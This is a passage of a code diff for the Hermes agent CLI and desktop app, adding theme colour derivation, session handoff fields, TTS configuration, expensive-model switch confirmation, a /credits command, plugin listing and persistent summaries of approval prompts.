+ 'pickerGroup.foreground',
+ 'list.highlightForeground',
+ 'editorLink.activeForeground',
+ 'focusBorder',
+ 'tab.activeBorder',
+ 'statusBarItem.remoteBackground'
+ ],
+ mix(foreground, background, 0.55)
+ )
+
+ const elevated = take(
+ ['editorWidget.background', 'dropdown.background', 'menu.background', 'quickInput.background', 'editorSuggestWidget.background'],
+ mix(background, foreground, dark ? 0.08 : 0.05)
+ )
+
+ const card = take(
+ ['sideBarSectionHeader.background', 'tab.inactiveBackground', 'editorGroupHeader.tabsBackground'],
+ mix(background, foreground, dark ? 0.04 : 0.025)
+ )
+
+ const sidebar = take(['sideBar.background', 'activityBar.background'], mix(background, foreground, dark ? 0.02 : 0.012))
+
+ // The accent labels the sidebar (--theme-primary), so guarantee it reads
+ // there — otherwise low-contrast brand colors leave invisible section headers.
+ const accent = ensureContrast(accentSource, sidebar, ACCENT_MIN_CONTRAST)
+
+ const border = take(
+ ['panel.border', 'editorGroup.border', 'sideBar.border', 'contrastBorder', 'widget.border', 'input.border'],
+ mix(background, foreground, dark ? 0.16 : 0.14)
+ )
+
+ const input = take(['input.background', 'dropdown.background', 'quickInput.background'], mix(background, foreground, dark ? 0.1 : 0.06))
+
+ const mutedForeground = take(
+ ['descriptionForeground', 'editorLineNumber.foreground', 'tab.inactiveForeground', 'disabledForeground'],
+ mix(foreground, background, 0.45)
+ )
+
+ const destructive = take(
+ ['editorError.foreground', 'errorForeground', 'editorOverviewRuler.errorForeground', 'notificationsErrorIcon.foreground'],
+ '#e25563'
+ )
+
+ const muted = mix(background, foreground, dark ? 0.06 : 0.04)
+ const accentSoft = mix(accent, background, dark ? 0.82 : 0.88)
+ const secondary = mix(accent, background, dark ? 0.72 : 0.86)
+
+ const palette: DesktopThemeColors = {
+ background,
+ foreground,
+ card,
+ cardForeground: foreground,
+ muted,
+ mutedForeground,
+ popover: elevated,
+ popoverForeground: foreground,
+ primary: accent,
+ primaryForeground: readableOn(accent),
+ secondary,
+ secondaryForeground: foreground,
+ accent: accentSoft,
+ accentForeground: foreground,
+ border,
+ input,
+ ring: accent,
+ midground: accent,
+ midgroundForeground: readableOn(accent),
+ composerRing: accent,
+ destructive,
+ destructiveForeground: readableOn(destructive),
+ sidebarBackground: sidebar,
+ sidebarBorder: border,
+ userBubble: mix(card, accent, dark ? 0.18 : 0.12),
+ userBubbleBorder: border
+ }
+
+ const label = (opts.label ?? raw.name ?? 'VS Code Theme').trim()
+ const slug = opts.slug ?? vscodeThemeSlug(label)
+ const terminal = extractTerminalPalette(colors, background)
+
+ return {
+ derived,
+ mode: dark ? 'dark' : 'light',
+ theme: {
+ name: slug,
+ label,
+ description: opts.source ? `VS Code · ${opts.source}` : 'Imported from VS Code',
+ // Single palette in both slots. A lone VS Code theme is one-mode; callers
+ // that have both a light and dark variant (a Marketplace extension family)
+ // recombine them into proper colors/darkColors via buildThemeFromMarketplace.
+ colors: palette,
+ darkColors: palette,
+ // Only set when the theme ships a full ANSI palette — the terminal keeps
+ // its built-in VS Code defaults otherwise.
+ ...(terminal ? { terminal } : {})
+ }
+ }
+}
diff --git a/apps/desktop/src/types/hermes.ts b/apps/desktop/src/types/hermes.ts
index 5d362e51ef64..f90e31c53bbc 100644
--- a/apps/desktop/src/types/hermes.ts
+++ b/apps/desktop/src/types/hermes.ts
@@ -297,6 +297,14 @@ export interface SessionInfo {
started_at: number
title: null | string
tool_call_count: number
+ /** Origin platform when this session was handed off from a messaging
+ * platform (e.g. a Telegram thread continued in the desktop app). The live
+ * {@link source} becomes local (tui/desktop) after a handoff, so the origin
+ * is preserved here to surface the platform badge on the row. */
+ handoff_platform?: null | string
+ /** Handoff lifecycle: 'pending' | 'in_progress' | 'completed' | 'failed'. */
+ handoff_state?: null | string
+ handoff_error?: null | string
/** Owning profile name, set by the cross-profile aggregator
* (`/api/profiles/sessions`). Absent on legacy single-profile responses,
* which the UI treats as the default profile. */
@@ -630,6 +638,10 @@ export interface AuxiliaryModelsResponse {
}
export interface ModelAssignmentRequest {
+ /** Optional API key for a custom/local endpoint. Persisted to model.api_key
+ * (where the runtime reads it) for self-hosted endpoints that require auth.
+ * Only honored for custom/local providers on the main slot. */
+ api_key?: string
/** OpenAI-compatible endpoint URL. Only honored for custom/local providers
* on the main slot — wires a self-hosted endpoint into runtime resolution. */
base_url?: string
diff --git a/apps/shared/package.json b/apps/shared/package.json
index bf9baa8f34b6..bd1c10a48a6f 100644
--- a/apps/shared/package.json
+++ b/apps/shared/package.json
@@ -8,7 +8,7 @@
},
"types": "./src/index.ts",
"scripts": {
- "type-check": "tsc -p tsconfig.json --noEmit"
+ "typecheck": "tsc -p . --noEmit"
},
"devDependencies": {
"typescript": "^6.0.3"
diff --git a/cli-config.yaml.example b/cli-config.yaml.example
index 41a424a7d188..8ce9ad8e19ac 100644
--- a/cli-config.yaml.example
+++ b/cli-config.yaml.example
@@ -415,7 +415,8 @@ prompt_caching:
# Auxiliary Models (Advanced — Experimental)
# =============================================================================
# Hermes uses lightweight "auxiliary" models for side tasks: image analysis,
-# browser screenshot analysis, web page summarization, and context compression.
+# browser screenshot analysis, web page summarization, TTS audio-tag insertion,
+# and context compression.
#
# By default these use Gemini Flash via OpenRouter or Nous Portal and are
# auto-detected from your credentials. You do NOT need to change anything
@@ -460,6 +461,12 @@ prompt_caching:
# provider: "auto"
# model: ""
#
+# # Gemini 3.1 TTS hidden audio-tag insertion
+# tts_audio_tags:
+# provider: "auto" # empty model = your main chat model
+# model: ""
+# timeout: 30
+#
# # Session search — summarizes matching past sessions
# session_search:
# provider: "auto"
@@ -835,6 +842,22 @@ platform_toolsets:
# max_tool_rounds: 5 # tool loop limit (0 = disable)
# log_level: "info" # audit verbosity
+# =============================================================================
+# Text-to-Speech
+# =============================================================================
+# TTS defaults to Edge TTS unless changed in ~/.hermes/config.yaml.
+# Gemini TTS supports persona/director prompt files, and Gemini 3.1 Flash TTS
+# can use a hidden auxiliary rewrite pass to insert expressive square-bracket
+# audio tags into the TTS script without showing tags in chat.
+#
+# tts:
+# provider: "gemini"
+# gemini:
+# model: "gemini-3.1-flash-tts-preview"
+# voice: "Kore"
+# audio_tags: false
+# persona_prompt_file: "" # e.g. ~/.hermes/tts/radio-host.md
+
# =============================================================================
# Voice Transcription (Speech-to-Text)
# =============================================================================
diff --git a/cli.py b/cli.py
index d460d9a40588..bc5ced017ad0 100644
--- a/cli.py
+++ b/cli.py
@@ -456,6 +456,9 @@ def load_cli_config() -> Dict[str, Any]:
"busy_input_mode": "interrupt",
"persistent_output": True,
"persistent_output_max_lines": 200,
+ # Print a one-line summary of resolved modal prompts (approval /
+ # clarify) into scrollback so the decision survives the repaint.
+ "persist_prompts": True,
"skin": "default",
},
@@ -890,6 +893,10 @@ def _cleanup_all_browsers(*args, **kwargs):
# Guard to prevent cleanup from running multiple times on exit
_cleanup_done = False
+# One-shot CLI finalization runs before process cleanup so plugins can observe
+# the session boundary while the agent is still attached. If a signal lands in
+# that narrow window, atexit cleanup must not emit that session finalize again.
+_single_query_finalize_attempted_session_ids: set[str | None] = set()
# Weak reference to the active AIAgent for memory provider shutdown at exit
_active_agent_ref = None
_deferred_agent_startup_done = False
@@ -952,7 +959,7 @@ def _prepare_deferred_agent_startup() -> None:
exc_info=True,
)
-def _run_cleanup():
+def _run_cleanup(*, notify_session_finalize: bool = True):
"""Run resource cleanup exactly once."""
global _cleanup_done
if _cleanup_done:
@@ -988,16 +995,14 @@ def _run_cleanup():
pass
# Shut down memory provider (on_session_end + shutdown_all) at actual
# session boundary — NOT per-turn inside run_conversation().
- try:
- from hermes_cli.plugins import invoke_hook as _invoke_hook
- _invoke_hook(
- "on_session_finalize",
- session_id=_active_agent_ref.session_id if _active_agent_ref else None,
- platform="cli",
- reason="shutdown",
- )
- except Exception:
- pass
+ if notify_session_finalize:
+ cleanup_session_id = _active_agent_ref.session_id if _active_agent_ref else None
+ if _should_emit_cleanup_session_finalize(cleanup_session_id):
+ _notify_session_finalize(
+ session_id=cleanup_session_id,
+ platform="cli",
+ reason="shutdown",
+ )
try:
if _active_agent_ref and hasattr(_active_agent_ref, 'shutdown_memory_provider'):
# Forward the agent's own transcript so memory providers'
@@ -1015,6 +1020,32 @@ def _run_cleanup():
pass
+def _should_emit_cleanup_session_finalize(session_id: str | None) -> bool:
+ if not _single_query_finalize_attempted_session_ids:
+ return True
+ if session_id is None:
+ return False
+ return session_id not in _single_query_finalize_attempted_session_ids
+
+
+def _notify_session_finalize(
+ *,
+ session_id: str | None,
+ platform: str = "cli",
+ reason: str = "shutdown",
+) -> None:
+ try:
+ from hermes_cli.plugins import invoke_hook as _invoke_hook
+ _invoke_hook(
+ "on_session_finalize",
+ session_id=session_id,
+ platform=platform,
+ reason=reason,
+ )
+ except Exception:
+ pass
+
+
def _emit_interrupted_session_end(cli, *, reason: str = "keyboard_interrupt") -> None:
"""Best-effort on_session_end hook for interrupted non-interactive runs."""
agent = getattr(cli, "agent", None)
@@ -1051,6 +1082,31 @@ def _emit_interrupted_session_end(cli, *, reason: str = "keyboard_interrupt") ->
pass
+def _notify_single_query_session_finalize(cli, *, reason: str = "shutdown") -> None:
+ agent = getattr(cli, "agent", None)
+ session_id = getattr(agent, "session_id", None) or getattr(cli, "session_id", None)
+ if session_id in _single_query_finalize_attempted_session_ids:
+ return
+
+ try:
+ _notify_session_finalize(
+ session_id=session_id,
+ platform=getattr(agent, "platform", None) or "cli",
+ reason=reason,
+ )
+ finally:
+ _single_query_finalize_attempted_session_ids.add(session_id)
+
+
+def _finalize_single_query(cli) -> None:
+ """Close one-shot CLI resources before releasing the active session lease."""
+ try:
+ _notify_single_query_session_finalize(cli)
+ _run_cleanup(notify_session_finalize=False)
+ finally:
+ cli._release_active_session()
+
+
def _reset_terminal_input_modes_on_exit() -> None:
"""Best-effort: disable focus reporting + mouse tracking on TUI exit so they
don't leak into the next shell session sharing the tab.
@@ -3373,6 +3429,7 @@ def __init__(
# frozen when the agent thread completes, displayed in the status bar.
self._prompt_start_time: Optional[float] = None # time.time() when turn started
self._prompt_duration: float = 0.0 # frozen duration of last completed turn
+ self._last_turn_finished_at: Optional[float] = None # time.time() when the last agent loop finished
# Initialize SQLite session store early so /title works before first message
self._session_db = None
try:
@@ -3450,6 +3507,10 @@ def __init__(
# the next submitted input, whether it's the selection or anything
# else). See #34584.
self._pending_resume_sessions = None
+ # One-shot agent seed set by a slash handler (e.g. /blueprint )
+ # that wants its output run as the next agent turn. Consumed and cleared
+ # by the interactive loop immediately after process_command() returns.
+ self._pending_agent_seed = None
self._secret_state = None
self._secret_deadline = 0
self._spinner_text: str = "" # thinking spinner text for TUI
@@ -3759,6 +3820,19 @@ def _format_prompt_elapsed(prompt_start_time: Optional[float], prompt_duration:
emoji = "⏱" if live else "⏲"
return f"{emoji} {time_str}"
+ @staticmethod
+ def _format_idle_since(last_finished_at: Optional[float], turn_live: bool) -> str:
+ """Format time since the last final agent response for the status bar.
+
+ Returns an empty string while a turn is live (the per-prompt elapsed
+ timer covers that case) or before the first turn has completed.
+ Compact read-out: ``✓ 42s`` / ``✓ 3m`` / ``✓ 1h 12m``.
+ """
+ if turn_live or last_finished_at is None:
+ return ""
+ idle = max(0.0, time.time() - last_finished_at)
+ return f"✓ {format_duration_compact(idle)}"
+
def _get_status_bar_snapshot(self) -> Dict[str, Any]:
# Prefer the agent's model name — it updates on fallback.
# self.model reflects the originally configured model and never
@@ -3782,6 +3856,10 @@ def _get_status_bar_snapshot(self) -> Dict[str, Any]:
getattr(self, "_prompt_duration", 0.0),
live=getattr(self, "_prompt_start_time", None) is not None,
),
+ "idle_since": self._format_idle_since(
+ getattr(self, "_last_turn_finished_at", None),
+ turn_live=getattr(self, "_prompt_start_time", None) is not None,
+ ),
"context_tokens": 0,
"context_length": None,
"context_percent": None,
@@ -4093,6 +4171,9 @@ def _build_status_bar_text(self, width: Optional[int] = None) -> str:
prompt_elapsed = snapshot.get("prompt_elapsed")
if prompt_elapsed:
parts.append(prompt_elapsed)
+ idle_since = snapshot.get("idle_since")
+ if idle_since:
+ parts.append(idle_since)
if yolo_active:
parts.append("⚠ YOLO")
return self._trim_status_bar_text(" │ ".join(parts), width)
@@ -4194,6 +4275,11 @@ def _get_status_bar_fragments(self):
if prompt_elapsed:
frags.append(("class:status-bar-dim", " │ "))
frags.append(("class:status-bar-dim", prompt_elapsed))
+ # Position 8: idle time since the last final agent response
+ idle_since = snapshot.get("idle_since")
+ if idle_since:
+ frags.append(("class:status-bar-dim", " │ "))
+ frags.append(("class:status-bar-dim", idle_since))
if yolo_active:
frags.append(("class:status-bar-dim", " │ "))
frags.append(("class:status-bar-yolo", "⚠ YOLO"))
@@ -5499,6 +5585,15 @@ def show_help(self):
f"{_escape(desc)} [dim]({skill_count} skills)[/]"
)
+ quick_commands = self.config.get("quick_commands", {})
+ if quick_commands:
+ _cprint(f"\n ⚡ {_BOLD}Quick Commands{_RST} ({len(quick_commands)} configured):")
+ for name, qcmd in sorted(quick_commands.items()):
+ desc = qcmd.get("description", qcmd.get("type", ""))
+ ChatConsole().print(
+ f" [bold {_accent_hex()}]{('/' + name):<22}[/] [dim]-[/] {_escape(desc)}"
+ )
+
_cprint(f"\n {_DIM}Tip: Just type your message to chat with Hermes!{_RST}")
_cprint(f" {_DIM}Multi-line: Alt+Enter for a new line{_RST}")
_cprint(f" {_DIM}Draft editor: Ctrl+G (Alt+G in VSCode/Cursor){_RST}")
@@ -5768,6 +5863,35 @@ def _notify_session_boundary(self, event_type: str) -> None:
except Exception:
pass
+ def _discard_session_if_empty(self, session_id: Optional[str]) -> bool:
+ """Drop a just-ended session row when it never gained content.
+
+ Starting the CLI and immediately quitting (or rotating with /new,
+ /clear) used to leave an empty untitled row behind that clutters
+ ``/resume`` and ``hermes sessions list``. Delegates the
+ check-and-delete to ``SessionDB.delete_session_if_empty``, which
+ only removes rows with no messages, no title, and no child
+ sessions. Ported from google-gemini/gemini-cli#27770.
+ """
+ if not self._session_db or not session_id:
+ return False
+ # In-memory transcript is authoritative: if this CLI object holds
+ # conversation messages (flushed to the DB or not), the session is
+ # not empty. Protects against pruning a real conversation whose DB
+ # flush failed or hasn't happened yet.
+ if getattr(self, "conversation_history", None):
+ return False
+ try:
+ from hermes_constants import get_hermes_home as _ghh
+ return self._session_db.delete_session_if_empty(
+ session_id, sessions_dir=_ghh() / "sessions"
+ )
+ except Exception:
+ logger.debug(
+ "Could not prune empty session %s", session_id, exc_info=True
+ )
+ return False
+
def new_session(self, silent=False, title=None):
"""Start a fresh session with a new session ID and cleared agent state."""
if self.agent and self.conversation_history:
@@ -5784,6 +5908,9 @@ def new_session(self, silent=False, title=None):
self._session_db.end_session(old_session_id, "new_session")
except Exception:
pass
+ # Don't let immediately-rotated empty sessions pile up in
+ # /resume and `hermes sessions list` (gemini-cli#27770 port).
+ self._discard_session_if_empty(old_session_id)
self.session_start = datetime.now()
timestamp_str = self.session_start.strftime("%Y%m%d_%H%M%S")
@@ -6463,6 +6590,47 @@ def _open_model_picker(self, providers: list, current_model: str, current_provid
}
self._invalidate(min_interval=0.0)
+ def _confirm_expensive_model_switch(self, result) -> bool:
+ """Ask for explicit confirmation before applying costly model switches."""
+ if not getattr(result, "success", False):
+ return True
+ try:
+ from hermes_cli.model_cost_guard import expensive_model_warning
+
+ warning = expensive_model_warning(
+ result.new_model,
+ provider=result.target_provider,
+ base_url=result.base_url or self.base_url or "",
+ api_key=result.api_key or self.api_key or "",
+ model_info=result.model_info,
+ )
+ except Exception:
+ warning = None
+ if warning is None:
+ return True
+
+ choices = [
+ ("once", "Switch anyway", "Use this model for the current Hermes session."),
+ ("cancel", "Cancel", "Keep the current model."),
+ ]
+ raw = self._prompt_text_input_modal(
+ title="!!! Expensive Model Warning !!!",
+ detail=warning.message,
+ choices=choices,
+ timeout=120,
+ )
+ choice = self._normalize_slash_confirm_choice(raw, choices)
+ return choice == "once"
+
+ def _confirm_and_apply_model_switch_result(self, result, persist_global: bool) -> None:
+ try:
+ if result.success and not self._confirm_expensive_model_switch(result):
+ _cprint(" Model switch cancelled.")
+ return
+ self._apply_model_switch_result(result, persist_global)
+ except Exception as exc:
+ _cprint(f" ✗ Model selection failed: {exc}")
+
def _close_model_picker(self) -> None:
self._model_picker_state = None
self._restore_modal_input_snapshot()
@@ -6639,7 +6807,14 @@ def _handle_model_picker_selection(self, persist_global: bool = False) -> None:
custom_providers=state.get("custom_provs"),
)
self._close_model_picker()
- self._apply_model_switch_result(result, persist_global)
+ if getattr(self, "_app", None):
+ threading.Thread(
+ target=self._confirm_and_apply_model_switch_result,
+ args=(result, persist_global),
+ daemon=True,
+ ).start()
+ else:
+ self._confirm_and_apply_model_switch_result(result, persist_global)
return
self._close_model_picker()
@@ -6740,6 +6915,10 @@ def _handle_model_switch(self, cmd_original: str):
_cprint(f" ✗ {result.error_message}")
return
+ if not self._confirm_expensive_model_switch(result):
+ _cprint(" Model switch cancelled.")
+ return
+
# Apply to CLI state.
# Update requested_provider so _ensure_runtime_credentials() doesn't
# overwrite the switch on the next turn (it re-resolves from this).
@@ -6932,7 +7111,6 @@ def _resolve_personality_prompt(value) -> str:
-
def _show_gateway_status(self):
"""Show status of the gateway and connected messaging platforms."""
from gateway.config import load_gateway_config, Platform
@@ -7238,6 +7416,10 @@ def process_command(self, command: str) -> bool:
self.save_conversation()
elif canonical == "cron":
self._handle_cron_command(cmd_original)
+ elif canonical == "suggestions":
+ self._handle_suggestions_command(cmd_original)
+ elif canonical == "blueprint":
+ self._handle_blueprint_command(cmd_original)
elif canonical == "curator":
self._handle_curator_command(cmd_original)
elif canonical == "kanban":
@@ -7245,6 +7427,8 @@ def process_command(self, command: str) -> bool:
elif canonical == "skills":
with self._busy_command(self._slow_command_status(cmd_original)):
self._handle_skills_command(cmd_original)
+ elif canonical == "memory":
+ self._handle_memory_command(cmd_original)
elif canonical == "platforms":
self._show_gateway_status()
elif canonical == "status":
@@ -7267,6 +7451,8 @@ def process_command(self, command: str) -> bool:
self._manual_compress(cmd_original)
elif canonical == "usage":
self._show_usage()
+ elif canonical == "credits":
+ self._show_credits()
elif canonical == "insights":
self._show_insights(cmd_original)
elif canonical == "copy":
@@ -7302,24 +7488,66 @@ def process_command(self, command: str) -> bool:
self._handle_browser_command(cmd_original)
elif canonical == "plugins":
try:
- from hermes_cli.plugins import get_plugin_manager
- mgr = get_plugin_manager()
- plugins = mgr.list_plugins()
- if not plugins:
- print("No plugins installed.")
- print(f"Drop plugin directories into {display_hermes_home()}/plugins/ to get started.")
+ # Discover from disk (bundled + user), matching `hermes plugins
+ # list` — so installed-but-not-enabled plugins are visible here
+ # too. The plugin manager only knows about *loaded* plugins, so
+ # using it alone made freshly-installed, not-yet-enabled plugins
+ # look like "nothing installed".
+ from hermes_cli.plugins_cmd import (
+ _discover_all_plugins,
+ _get_disabled_set,
+ _get_enabled_set,
+ _plugin_status,
+ )
+
+ entries = _discover_all_plugins()
+ enabled = _get_enabled_set()
+ disabled = _get_disabled_set()
+
+ # `/plugins` is a quick glance — default to user-installed
+ # plugins (what the user actually added). Bundled provider/
+ # platform plugins are summarized on one line; the full
+ # catalog lives behind `hermes plugins list`.
+ user_entries = [e for e in entries if e[3] != "bundled"]
+ bundled_count = len(entries) - len(user_entries)
+
+ if not user_entries:
+ print("No user plugins installed.")
+ print(" Install one: hermes plugins install owner/repo")
+ print(f" Or drop a plugin directory into {display_hermes_home()}/plugins/")
+ if bundled_count:
+ print(f" ({bundled_count} bundled plugins available — see: hermes plugins list)")
else:
- print(f"Plugins ({len(plugins)}):")
- for p in plugins:
- status = "✓" if p["enabled"] else "✗"
- version = f" v{p['version']}" if p["version"] else ""
- tools = f"{p['tools']} tools" if p["tools"] else ""
- hooks = f"{p['hooks']} hooks" if p["hooks"] else ""
- commands = f"{p['commands']} commands" if p.get("commands") else ""
- parts = [x for x in [tools, hooks, commands] if x]
- detail = f" ({', '.join(parts)})" if parts else ""
- error = f" — {p['error']}" if p["error"] else ""
- print(f" {status} {p['name']}{version}{detail}{error}")
+ # Loaded-plugin details (tools/hooks/commands counts, errors)
+ # keyed by name, when available.
+ loaded: dict = {}
+ try:
+ from hermes_cli.plugins import get_plugin_manager
+ for p in get_plugin_manager().list_plugins():
+ loaded[p["name"]] = p
+ except Exception:
+ loaded = {}
+
+ print(f"User plugins ({len(user_entries)}):")
+ for name, version, _desc, source, _dir, key in sorted(user_entries):
+ state = _plugin_status(name, enabled, disabled, key=key)
+ glyph = {"enabled": "✓", "disabled": "✗"}.get(state, "○")
+ ver = f" v{version}" if version else ""
+ info = loaded.get(name) or {}
+ bits = []
+ if info.get("tools"):
+ bits.append(f"{info['tools']} tools")
+ if info.get("hooks"):
+ bits.append(f"{info['hooks']} hooks")
+ if info.get("commands"):
+ bits.append(f"{info['commands']} commands")
+ detail = f" ({', '.join(bits)})" if bits else ""
+ label = "" if state == "enabled" else f" [{state}]"
+ error = f" — {info['error']}" if info.get("error") else ""
+ print(f" {glyph} {name}{ver}{label}{detail}{error}")
+ if bundled_count:
+ print(f" (+{bundled_count} bundled — see: hermes plugins list)")
+ print(" Enable/disable: hermes plugins enable/disable ")
except Exception as e:
print(f"Plugin system error: {e}")
elif canonical == "rollback":
@@ -8126,6 +8354,86 @@ def _print_nous_credits_block(self) -> bool:
print(f" {line}")
return True
+ def _show_credits(self):
+ """`/credits` — focused Nous credit balance + top-up handoff.
+
+ Interactive CLI: balance block + identity line + a 3-button panel
+ (Open top-up / Copy link / Cancel). Non-interactive contexts — the TUI
+ slash-worker subprocess and any place without a live prompt_toolkit app
+ (``self._app is None``) — render a text variant (balance + tappable
+ top-up URL), because the modal would try to read the RPC stdin and crash
+ the worker. The terminal never confirms or polls payment (billing phase
+ 2a). Fail-open: a portal hiccup or logged-out account degrades to a clear
+ message, never a crash.
+ """
+ from agent.account_usage import build_credits_view
+
+ view = build_credits_view()
+
+ if not view.logged_in:
+ print()
+ print(f" 💳 {_DIM}Not logged into Nous Portal.{_RST}")
+ print(" Run `hermes portal` to log in, then /credits.")
+ return
+
+ print()
+ print(" 💳 Nous credits")
+ print(f" {'─' * 41}")
+ for line in view.balance_lines:
+ # Drop the helper's own "📈 Nous credits" header — we print our own.
+ if line.lstrip().startswith("📈"):
+ continue
+ print(f" {line}")
+ print(f" {'─' * 41}")
+ if view.identity_line:
+ print(f" {view.identity_line}")
+
+ if not view.topup_url:
+ return
+
+ # Non-interactive (TUI slash-worker, piped, no live app): the
+ # prompt_toolkit modal can't run here — it would read the worker's
+ # JSON-RPC stdin and crash the command. Render the text variant: the
+ # tappable URL IS the affordance, same as the messaging surfaces.
+ if not getattr(self, "_app", None):
+ print()
+ print(f" Top up: {view.topup_url}")
+ print(" Complete your top-up in the browser — credits will appear in /credits shortly.")
+ return
+
+ choices = [
+ ("open", "Open top-up in browser", "launch the portal billing page"),
+ ("copy", "Copy link", "copy the top-up URL to your clipboard"),
+ ("cancel", "Cancel", "do nothing"),
+ ]
+ raw = self._prompt_text_input_modal(
+ title="💳 Add credits?",
+ detail=f"Top-up page:\n{view.topup_url}",
+ choices=choices,
+ )
+ choice = self._normalize_slash_confirm_choice(raw, choices)
+
+ if choice == "open":
+ opened = False
+ try:
+ import webbrowser
+
+ opened = webbrowser.open(view.topup_url)
+ except Exception:
+ opened = False
+ if not opened:
+ print(f" Open this URL to top up: {view.topup_url}")
+ print()
+ print(" Complete your top-up in the browser — credits will appear in /credits shortly.")
+ elif choice == "copy":
+ try:
+ self._write_osc52_clipboard(view.topup_url)
+ print(f" 📋 Copied: {view.topup_url}")
+ except Exception:
+ print(f" Top-up URL: {view.topup_url}")
+ else:
+ print(" 🟡 Cancelled. No credits added.")
+
def _show_insights(self, command: str = "/insights"):
"""Show usage insights and analytics from session history."""
# Parse optional --days flag
@@ -9138,6 +9446,25 @@ def _show_voice_status(self):
for line in reqs["details"].split("\n"):
_cprint(f" {line}")
+ def _persist_prompt_summary(self, icon: str, label: str, detail: str, outcome: str) -> None:
+ """Print a one-line scrollback summary of a resolved modal prompt.
+
+ Modal panels (approval / clarify) live in the prompt_toolkit layout and
+ vanish on the next repaint, so the question and the decision leave no
+ trace in the terminal scrollback. When display.persist_prompts is on
+ (default), emit a dim single line after the prompt resolves so the
+ decision survives in chat history.
+ """
+ if not CLI_CONFIG.get("display", {}).get("persist_prompts", True):
+ return
+ detail = " ".join(detail.split())
+ if len(detail) > 120:
+ detail = detail[:119] + "…"
+ outcome = " ".join(outcome.split())
+ if len(outcome) > 120:
+ outcome = outcome[:119] + "…"
+ _cprint(f"\n{_DIM}{icon} {label}: {detail} → {outcome}{_RST}")
+
def _clarify_callback(self, question, choices):
"""
Platform callback for the clarify tool. Called from the agent thread.
@@ -9177,6 +9504,7 @@ def _clarify_callback(self, question, choices):
try:
result = response_queue.get(timeout=1)
self._clarify_deadline = 0
+ self._persist_prompt_summary("?", "Clarify", question, str(result))
return result
except queue.Empty:
remaining = self._clarify_deadline - _time.monotonic()
@@ -9290,6 +9618,16 @@ def _approval_callback(self, command: str, description: str,
self._approval_state = None
self._approval_deadline = 0
self._paint_now()
+ _outcome_labels = {
+ "once": "allowed once",
+ "session": "allowed for session",
+ "always": "added to allowlist",
+ "deny": "denied",
+ }
+ self._persist_prompt_summary(
+ "⚠", "Approval", command,
+ _outcome_labels.get(result, str(result)),
+ )
return result
except queue.Empty:
remaining = self._approval_deadline - _time.monotonic()
@@ -9406,7 +9744,7 @@ def _append_blank_panel_line(lines, border_style: str, box_width: int) -> None:
show_full = state.get("show_full", False)
title = "⚠️ Dangerous Command"
- cmd_display = command if show_full or len(command) <= 70 else command[:70] + '...'
+ cmd_display = command
choice_labels = {
"once": "Allow once",
"session": "Allow for this session",
@@ -9430,6 +9768,11 @@ def _append_blank_panel_line(lines, border_style: str, box_width: int) -> None:
# Pre-wrap the mandatory content — command + choices must always render.
cmd_wrapped = _wrap_panel_text(cmd_display, inner_text_width)
+ if not show_full and "view" in choices and len(cmd_wrapped) > 4:
+ cmd_wrapped = cmd_wrapped[:3] + _wrap_panel_text(
+ "… (choose Show full command)",
+ inner_text_width,
+ )
# (choice_index, wrapped_line) so we can re-apply selected styling below
choice_wrapped: list[tuple[int, str]] = []
@@ -9479,7 +9822,10 @@ def _append_blank_panel_line(lines, border_style: str, box_width: int) -> None:
max_cmd_rows = max(1, available - chrome_rows - len(choice_wrapped))
if len(cmd_wrapped) > max_cmd_rows:
keep = max(1, max_cmd_rows - 1) if max_cmd_rows > 1 else 1
- cmd_wrapped = cmd_wrapped[:keep] + ["… (command truncated — use /logs or /debug for full text)"]
+ cmd_wrapped = cmd_wrapped[:keep] + _wrap_panel_text(
+ "… (command truncated — use /logs or /debug for full text)",
+ inner_text_width,
+ )
# Allocate any remaining rows to description. The extra -1 in full mode
# accounts for the blank separator between choices and description.
@@ -9973,6 +10319,9 @@ def run_agent():
if self._prompt_start_time is not None:
self._prompt_duration = max(0.0, time.time() - self._prompt_start_time)
self._prompt_start_time = None
+ # Record when this agent loop finished so the status bar can show
+ # idle time since the last final response.
+ self._last_turn_finished_at = time.time()
# Proactively clean up async clients whose event loop is dead.
# The agent thread may have created AsyncOpenAI clients bound
@@ -12609,7 +12958,17 @@ def process_loop():
# session. Without this guard a KeyboardInterrupt unwinds
# to the outer prompt_toolkit loop and the session dies.
_cprint("\n[dim]Command interrupted.[/dim]")
- continue
+ continue
+ # A slash handler may set a one-shot pending seed (e.g.
+ # /blueprint ) to be run as the next agent turn.
+ # If present, fall through to the chat path with the seed
+ # as the user message instead of looping back to idle.
+ _seed = getattr(self, "_pending_agent_seed", None)
+ if _seed:
+ self._pending_agent_seed = None
+ user_input = _seed
+ else:
+ continue
# Expand paste references back to full content
_paste_ref_re = re.compile(r'\[Pasted text #\d+: \d+ lines \u2192 (.+?)\]')
@@ -12926,6 +13285,15 @@ def new_event_loop(self):
self._session_db.end_session(self.agent.session_id, "cli_close")
except (Exception, KeyboardInterrupt) as e:
logger.debug("Could not close session in DB: %s", e)
+ # Started-and-immediately-quit sessions never gained content;
+ # drop the empty row so /resume and `hermes sessions list`
+ # stay clean (gemini-cli#27770 port). No-op for resumed or
+ # titled sessions and anything with messages or children.
+ if not getattr(self, '_delete_session_on_exit', False):
+ try:
+ self._discard_session_if_empty(self.agent.session_id)
+ except (Exception, KeyboardInterrupt) as e:
+ logger.debug("Could not prune empty session: %s", e)
# /exit --delete: also remove the current session's transcripts
# and SQLite history. Ported from google-gemini/gemini-cli#19332.
if getattr(self, '_delete_session_on_exit', False):
@@ -13188,9 +13556,21 @@ def main(
else:
toolsets_list.append(str(t))
else:
- # Use the shared resolver so MCP servers are included at runtime
- from hermes_cli.tools_config import _get_platform_tools
- toolsets_list = sorted(_get_platform_tools(CLI_CONFIG, "cli"))
+ # Coding posture (base Hermes): with no explicit --toolsets, collapse
+ # to the coding toolset (+ enabled MCP servers) when sitting in a code
+ # workspace. See agent/coding_context.py.
+ _coding = None
+ try:
+ from agent.coding_context import coding_selection
+ _coding = coding_selection(platform="cli", config=CLI_CONFIG)
+ except Exception:
+ _coding = None
+ if _coding is not None:
+ toolsets_list = _coding
+ else:
+ # Use the shared resolver so MCP servers are included at runtime
+ from hermes_cli.tools_config import _get_platform_tools
+ toolsets_list = sorted(_get_platform_tools(CLI_CONFIG, "cli"))
parsed_skills = _parse_skills_argument(skills)
@@ -13540,7 +13920,7 @@ def _signal_handler_q(signum, frame):
cli.chat(query, images=single_query_images or None)
cli._print_exit_summary()
finally:
- cli._release_active_session()
+ _finalize_single_query(cli)
return
# Run interactive mode
diff --git a/cron/blueprint_catalog.py b/cron/blueprint_catalog.py
new file mode 100644
index 000000000000..066ab22e6b4a
--- /dev/null
